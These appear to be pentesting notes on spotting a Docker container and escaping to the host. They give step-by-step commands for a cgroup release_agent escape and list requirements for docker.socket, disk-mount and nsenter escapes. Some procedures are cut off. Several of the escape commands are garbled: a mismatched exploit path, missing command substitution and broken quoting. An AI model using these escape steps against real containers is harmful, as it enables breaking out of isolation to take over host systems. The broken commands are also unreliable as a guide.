Docker Container
Last updated
Last updated
Hostname is something like dcdd01356172
or a similar hex string
root folder contains .dockerenv
file
executing cat /proc/1/cgroup
returns docker strings
There are few processes running and none of them are kernel spawned
Some default *nix commands such as wget, ps, ifconfig, ip are missing
Automated tool for vulnerability scanning inside a Docker container.
See
All IP addresses are printed as little-endian hexadecimal strings. For example:
IP address: 020011AC --> AC.11.00.02 --> 172.16.00.02
Gateway mask: 0000FFFF --> FF.FF.00.00 --> 255.255.00.00
Requirements:
current user inside the container is root
the container must be running with cap_sys_admin capability enabled. Verify by using the following command capsh --print | grep sys_admin
the mount
command is present and enabled
Vulnerable containers are created with the following command
Procedure:
mount cgroup folder in container: mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
configure the kernel to enable execution of scripts when process is released: echo 1 > /tmp/cgrp/x/notify_on_release
find the container's file location on the host and store it in a variable: host_path=sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
create an exploit file on target machine: echo "$host_path/cmd" > /tmp/cgrp/release_agent
insert code to be run in the exploit file. The output will be stored in a file called output.txt in the roof folder of the container: echo" CMD > $host_path/output.txt" >> /exploit && chmod a+x /exploit
create a process that instantly dies triggering our payload: sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
Requirements
current user inside the container is root
the container must be running with cap_sys_admin capability enabled. Verify by using the following command capsh --print | grep sys_admin
the mount
command is present and enabled
it is possible to detect external drives. Verify with fdisk -l
Procedure:
Requirements:
current user inside the container is root or part of docker group
the file docker.socket is accessible inside the container. Test with find / -type f -name docker.socket 2>/dev/null
Requirements:
current user inside the container is root
the file /sbin/init
is visible inside the container
the nsenter
command is available inside the container
Procedure:
Run the following command to spawn a new process with the same namespace as the process with PID 1 (init) while sharing memory, hostname and network space with the container. This process will be used to spawn a shell
The exploit procedure is the same as detailed in the section about .